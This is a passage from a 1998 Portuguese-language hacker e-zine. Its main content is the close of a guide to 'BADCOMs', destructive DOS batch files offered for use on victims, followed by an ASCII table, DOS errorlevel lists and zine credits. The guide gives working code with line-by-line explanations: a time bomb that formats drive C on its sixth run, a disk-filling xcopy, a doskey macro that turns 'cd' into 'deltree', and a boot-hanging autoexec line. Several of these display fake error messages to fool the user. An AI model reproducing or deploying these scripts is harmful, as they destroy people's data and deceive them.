2| echo hehehe > hehehe.com
4| hehehe
Esse é mais simples ainda. A linha 1 desativa o ECHO, a 2 cria
um arquivo chamado "hehehe.com" cujo conteúdo seja "hehehe" e a 3
roda esse arquivo, fazendo o computador travar.
4.5) Time Bomb
[tbomb.bat]
1| @echo off
2| cd\
3| if exist data1.dat goto 2
4| type nul > data1.dat
5| attrib +a +r +h +s data1.dat
6| goto end
7| :2
8| if exist data2.dat goto 3
9| type nul > data2.dat
10| attrib +a +r +h +s data2.dat
11| goto end
12| :3
13| if exist data3.dat goto 4
14| type nul > data3.dat
15| attrib +a +r +h +s data3.dat
16| goto end
17| :4
18| if exist data4.dat goto 5
19| type nul > data4.dat
20| attrib +a +r +h +s data4.dat
21| goto end
22| :5
23| if exist data5.dat goto timeisup
24| type nul > data5.dat
25| attrib +a +r +h +s data5.dat
26| goto end
27| :timeisup
28| echo s | format c:
29| :end
30| Memória insuficiente
Este BADCOM será inofensivo durante 5 vezes que for rodado. Na
sexta vez, o cara pode dizer adeus ao HD dele... Ha, Ha, Ha!
Este exemplo é meio grande, mas é fácil por ser muito repetitivo
se você prestar atenção, verá que os mesmos comandos são sempre
usados. O segredo desse batch está nas linhas 3, 8, 13, 18 e 23.
São elas que vão determinar quantas vezes o programa já foi usado.
Preste atenção no redirecionamento de I/O nas linhas 4, 9, 14,
19 e 24. Elas criam arquivos vazios (NUL é vazio) que serão usados
pra descobrir quantas vezes o programa já foi rodado.
As linhas 5, 10, 15, 20 e 25 escondem os arquivos criados.
Note também que sempre que um novo arquivo .DAT é criado, o
programa pára, exibindo uma mensagem pra enganar o imbecil do
usuário.
Atenção especial pra linha 23: ela que define a hora de detonar
o HD, direcionando o batch pra linha 27. A partir daí o FORMAT é
acionado, como visto na linha 28.
4.6) Enchendo o HD de lixo
[hdtrash.bat]
1| @echo off
2| echo d | xcopy c:\*.* %windir%\system\vms /s >nul
3| attrib +a +r +s +h %windir%\system\vms
4| Um dos arquivos necessários não foi encontrado.
Um exemplo simples, só que muito incômodo. Fará o HD do cara
dobrar de tamanho cada vez que for executado, copiando tudo que
tem no HD para o diretório VMS, no diretório \SYSTEM do Ruimdows
e no final exibe uma mensagem pra enganar o idiota. Esse BADCOM
também esconde o diretório VMS, por motivos óbvios.
Duas coisas importantes: se não for feito um PIPE, com o comando
"ECHO D |", o BADCOM não funcionará, pois perguntará se o VMS
especificado é um arquivo ou um diretório. Outra coisa que você
deve ter notado foi o uso da variável "%windir%". Isso é uma
variável de sistema do Windows, que define em que diretório o
Ruimdows está instalado.
4.7) Abrindo janelas infinitamente
[window.bat]
1| @echo off
2| :loop
3| %windir%\notepad
4| goto loop
Outro BADCOM simples, mas que é um pé no saco! Fica abrindo
infinitas janelas do NOTEPAD, devido ao comando "goto loop" (linha
4) que retorna para a linha 2. Note também o uso da variável
"%windir%" novamente. Você pode substituir o "notepad" por outro
programa, se você quiser.
4.8) Usando o DOSKEY pra destruir
[tbomb2.bat]
1| @echo off
2| doskey cd deltree /y $1 /echo:off
3| Um arquivo necessário não foi encontrado
Ótimo BADCOM: fácil e destrutivo. Faz com que quando sua vítima
tentar entrar em um diretório, delete esse diretório. Isso ocorre
porque quando você entra em um diretório, usa o comando "CD $1",
onde $1 equivale ao diretório que você quer entrar. Essa macro
substitui o "CD $1" por "DELTREE /Y $1".
4.9) Travando o computador durante a inicialização
[autoexec.bat]
@type autoexec.bat >> autoexec.bat
Esse é um batch 2 em 1. Ao mesmo tempo que trava o computador da
vítima, aumenta o tamanho do HD. Obviamente, esse comando deve ser
ADICIONADO À ÚLTIMA LINHA DO AUTOEXEC.BAT. O comando TYPE vai
adicionar tudo que tem no Autoexec ao próprio Autoexec fazendo um
loop infinito (e travando tudo), porque o DOS executa um batch
linha por linha. Quando o batch chega ao fim, executa o comando
mostrado acima e começa tudo de novo.
┌────────────────────────────────────────────────────────────────────────────┐
│\/\/\/\/\/\/\/\/\ - - = [ CoMo ConTaTaR o AuToR ] = - - /\/\/\/\/\/\/\/\/\/\│
└────────────────────────────────────────────────────────────────────────────┘
Se você tiver qualquer dúvida, comentário, encontrou alguma
informação errada ou sabe de alguma dica legal pra ser usada num
BADCOM, meu e-mail é agm.overlord@usa.net e meu ICQ# é 1941484.
Contanto que você não fique me enchendo o saco com perguntas
idiotas, sinta-se livre pra me contatar quando você quiser.
┌────────────────────────────────────────────────────────────────────────────┐
│/\/\/\/\/\/\/\/\ - - = [ ApÊnDiCe A: TaBelA ASCii ] = - - /\/\/\/\/\/\/\/\/\│
└────────────────────────────────────────────────────────────────────────────┘
Aqui vai a lista dos caracteres ASCII estendidos e seus
respectivos códigos. Para usá-los pressione ALT, escreva o número
do código e solte ALT (no teclado numérico)
┌─────────┬──────┐ ┌─────────┬──────┐
│CARACTERE│CÓDIGO│ │CARACTERE│CÓDIGO│
├─────────┼──────┤ ├─────────┼──────┤
│ Ç │ 128 │ │ └ │ 192 │
│ ü │ 129 │ │ ┴ │ 193 │
│ é │ 130 │ │ ┬ │ 194 │
│ â │ 131 │ │ ├ │ 195 │
│ ä │ 132 │ │ ─ │ 196 │
│ à │ 133 │ │ ┼ │ 197 │
│ å │ 134 │ │ ã │ 198 │
│ ç │ 135 │ │ Ã │ 199 │
│ ê │ 136 │ │ ╚ │ 200 │
│ ë │ 137 │ │ ╔ │ 201 │
│ è │ 138 │ │ ╩ │ 202 │
│ ï │ 139 │ │ ╦ │ 203 │
│ î │ 140 │ │ ╠ │ 204 │
│ ì │ 141 │ │ ═ │ 205 │
│ Ä │ 142 │ │ ╬ │ 206 │
│ Å │ 143 │ │ ¤ │ 207 │
│ É │ 144 │ │ ð │ 208 │
│ æ │ 145 │ │ Ð │ 209 │
│ Æ │ 146 │ │ Ê │ 210 │
│ ô │ 147 │ │ Ë │ 211 │
│ ö │ 148 │ │ È │ 212 │
│ ò │ 149 │ │ ı │ 213 │
│ û │ 150 │ │ Í │ 214 │
│ ù │ 151 │ │ Î │ 215 │
│ ÿ │ 152 │ │ Ï │ 216 │
│ Ö │ 153 │ │ ┘ │ 217 │
│ Ü │ 154 │ │ ┌ │ 218 │
│ ø │ 155 │ │ █ │ 219 │
│ £ │ 156 │ │ ▄ │ 220 │
│ Ø │ 157 │ │ ¦ │ 221 │
│ × │ 158 │ │ Ì │ 222 │
│ ƒ │ 159 │ │ ▀ │ 223 │
│ á │ 160 │ │ Ó │ 224 │
│ í │ 161 │ │ ß │ 225 │
│ ó │ 162 │ │ Ô │ 226 │
│ ú │ 163 │ │ Ò │ 227 │
│ ñ │ 164 │ │ õ │ 228 │
│ Ñ │ 165 │ │ Õ │ 229 │
│ ª │ 166 │ │ µ │ 230 │
│ º │ 167 │ │ þ │ 231 │
│ ¿ │ 168 │ │ Þ │ 232 │
│ ® │ 169 │ │ Ú │ 233 │
│ ¬ │ 170 │ │ Û │ 234 │
│ ½ │ 171 │ │ Ù │ 235 │
│ ¼ │ 172 │ │ ý │ 236 │
│ ¡ │ 173 │ │ Ý │ 237 │
│ « │ 174 │ │ ¯ │ 238 │
│ » │ 175 │ │ ´ │ 239 │
│ ░ │ 176 │ │ │ 240 │
│ ▒ │ 177 │ │ ± │ 241 │
│ ▓ │ 178 │ │ ‗ │ 242 │
│ │ │ 179 │ │ ¾ │ 243 │
│ ┤ │ 180 │ │ ¶ │ 244 │
│ Á │ 181 │ │ § │ 245 │
│ Â │ 182 │ │ ÷ │ 246 │
│ À │ 183 │ │ ¸ │ 247 │
│ © │ 184 │ │ ° │ 248 │
│ ╣ │ 185 │ │ ¨ │ 249 │
│ ║ │ 186 │ │ · │ 250 │
│ ╗ │ 187 │ │ ¹ │ 251 │
│ ╝ │ 188 │ │ ³ │ 252 │
│ ¢ │ 189 │ │ ² │ 253 │
│ ¥ │ 190 │ │ ■ │ 254 │
│ ┐ │ 191 │ │ │ 255 │
└─────────┴──────┘ └─────────┴──────┘
┌────────────────────────────────────────────────────────────────────────────┐
│/\/\/\/\/\/\/\/\ - - = [ ApÊnDiCe B: ERRoRlEvElS ] = - - /\/\/\/\/\/\/\/\/\/│
└────────────────────────────────────────────────────────────────────────────┘
Por enquanto eu só consegui os errorlevels de alguns programas
(alguns deles inúteis) do DOS. Conforme eu for arranjando mais,
eu aumento essa lista.
-> MSBACKUP
0 - Normal
1 - Nenhum arquivo foi copiado
2 - Conflito de partilhamento de arquivos
3 - CTRL+BREAK foi pressionado
4 - Erro
-> DISKCOMP
0 - Normal
1 - Os disquetes eram incomparáveis
2 - CTRL+BREAK pressionado
3 - Erro de hardware
4 - Erro de inicialização
-> DISKCOPY
0 - Normal
1 - Erro de leitura/gravação
2 - CTRL+BREAK pressionado
3 - Erro de hardware
4 - Erro de inicialização
-> FORMAT
0 - Normal
2 - CTRL+BREAK foi pressionado
4 - Erro
5 - "N" foi pressionado quando perguntou se queria formatar o HD
-> KEYB
0 - Normal
1 - Erro de sintaxe
2 - Arquivo de teclado não encontrado
3 - Problema de memória
4 - Erro no dispositivo CON
5 - Solicitação de código de página não preparado
6 - Tabela de tradução não encontrada
7 - Versão incorreta do DOS
-> REPLACE
0 - Normal
1 - Arquivo fonte não encontrado
3 - Path do arquivo fonte não encontrado
5 - Acesso negado
8 - Memória insuficiente
11 - Erro de sintaxe
15 - Unidade de disco inexistente
22 - Versão incorreta do DOS
-> RESTORE
0 - Normal
1 - Nenhum arquivo encontrado
2 - Conflito de partilhamento de arquivos
3 - CTRL+BREAK pressionado
4 - Erro
-> SETVER
0 - Normal
1 - Parâmetro desconhecido
2 - Nome de arquivo desconhecido
3 - Falta de memória
4 - Versão do DOS errada
5 - Entrada do programa não foi encontrada
6 - Sistema DOS não foi encontrado
7 - Unidade de disco inválida
8 - Excesso de parâmetros
9 - Faltam parâmetros
10 - Erro lendo MSDOS.SYS
11 - Tabela de versão está corrompida
12 - Arquivos de sistema DOS não suportam as tabelas de versão
13 - Não há espaço disponível na tabela de versão
14 - Erro gravando MSDOS.SYS
-> XCOPY
0 - Normal
1 - Nenhum arquivo encontrado
2 - CTRL+BREAK pressionado
4 - Erro de inicialização
5 - Erro de gravação/disco protegido
-> FIND
0 - Normal, o comando encontrou a string especificada
0 e 1 ao mesmo tempo - A string não foi encontrada
┌╔═ ═╗┐
│║ SOBRE ESTA ZINE ║│
└╚═ ═╝┘
Ésta Zine foi feita por SeQ MaSsÎvE® e tem como objetivo, mostrar tudo o
que diz a respeito de Programação e Hacking.
Peço desculpas, por não sair nenhuma matéria sobre Phreack, mas ja tem uma
sobre Telefonia, que sairá na número 2, a Zine ficou muito gigante !!, ja
tenho muito material para a Número 2, e agradeço TODOS que me deram
atenção em busca de materiais !!!
Desculpe também por não ter material meu na Zine, a número 2 inteira vai ter
Textos Novos feitos por mim, e só na parte Phreacking vai vir de fora,
portanto galera capricha ai em seus Txt's para colocar na area da zine 2.
ATENÇÃO: Como é uma Zine nova, é melhor não colocar para Download em sua
Página, caro Leitor, pois em breve, apartir da Numero 2, serão convidados
para participar de uma ficha cadastral, onde terão chance de ser um Mirror
Site da SeQ MaSSÎvE® E-Zine, Aguarde !!!
Staff da Zine Número 1:
┌╔═ ═╗┐ Feito por SeQ MaSSÎvE®
│║ CÓDIGO FONTE ║│ UIN: 1292685
└╚═ ═╝┘ HP: www.terravista.pt/Meco/1840/
┌╔═ ═╗┐ Edição: SeQ MaSsÎvE®
│║ NOTICIAS - E-MAIL - NOVIDADES - BESTEIRAS - ETC ║│ UIN: 1292685
└╚═ ═╝┘ HP: tá ali em cima...
┌╔═ ═╗┐ Texto Enviado por: Mr. YoZZo
│║ TEXTOS ENVIADOS POR AMIGOS ║│ UIN: 4821767
└╚═ ═╝┘ Texto Sobre Hotmail
HP: http://chatspam.home.ml.org
http://mcpage.home.ml.org
┌╔═ ═╗┐ Enviado por WarBlade
│║ IP's By WarBlade ║│ UIN: 1858333
└╚═ ═╝┘ HP: <none>
Texto sobre IP's , tudo sobre invasão com IP.
┌╔═ ═╗┐ Enviado e Produzido por: ØvërlørÐ
│║ GUIA DEFINITIVO DE BADCOM'S ║│ UIN: 1941484
└╚═ ═╝┘
CADASTRO DO LEITOR:
Se você é leitor desta E-zine e gostaria de Receber Mail'z com as novidades
e a propria Zine pelo correio, basta me enviar um E-mail com o seguinte
Subject: LEITOR SEQ MASSIVE E-ZINE, no corpo da menssagem, envie seu
Nome(Opcional), Nick, Idade, E-mail, Home Page(Opcional).
Obrigado por ler a SeQ MaSsÎvE® E-Zine Número 1.
Valeu'z
┌╦═══╦┐ ┌╦═══╦┐ ┌╦═══╦┐
└╩═══╦┐ ├╬══ │║ ║│
└╩═══╩┘ └╩═══╩┘ └╩══╬╩┘
┌╦═╦═╦┐ ┌╦═══╦┐ ┌╦═══╦┐ ┌╦═══╦┐ ┌╦═╦═╦┐ ┌╦ ╦┐ ┌╦═══╦┐
│║ ║ ║│ ├╬═══╬┤ └╩═══╦┐ └╩═══╦┐ ║ │║ ╔╝┘ ├╬══
└╩ ╩┘ └╩ ╩┘ └╩═══╩┘ └╩═══╩┘ └╩═╩═╩┘ └╩═╝ └╩═══╩┘
┌╦═══╦┐ ┌╦═══╦┐ ┌╦═╦═╦┐ ┌╦═══╦┐ ┌╦═══╦┐
├╬══ ═ ┌╦═══╩┘ ║ │║ ║│ ├╬══
└╩═══╩┘ └╩═══╩┘ └╩═╩═╩┘ └╩ ╩┘ └╩═══╩┘
ANO 1 - Número 1 [Maio/1998]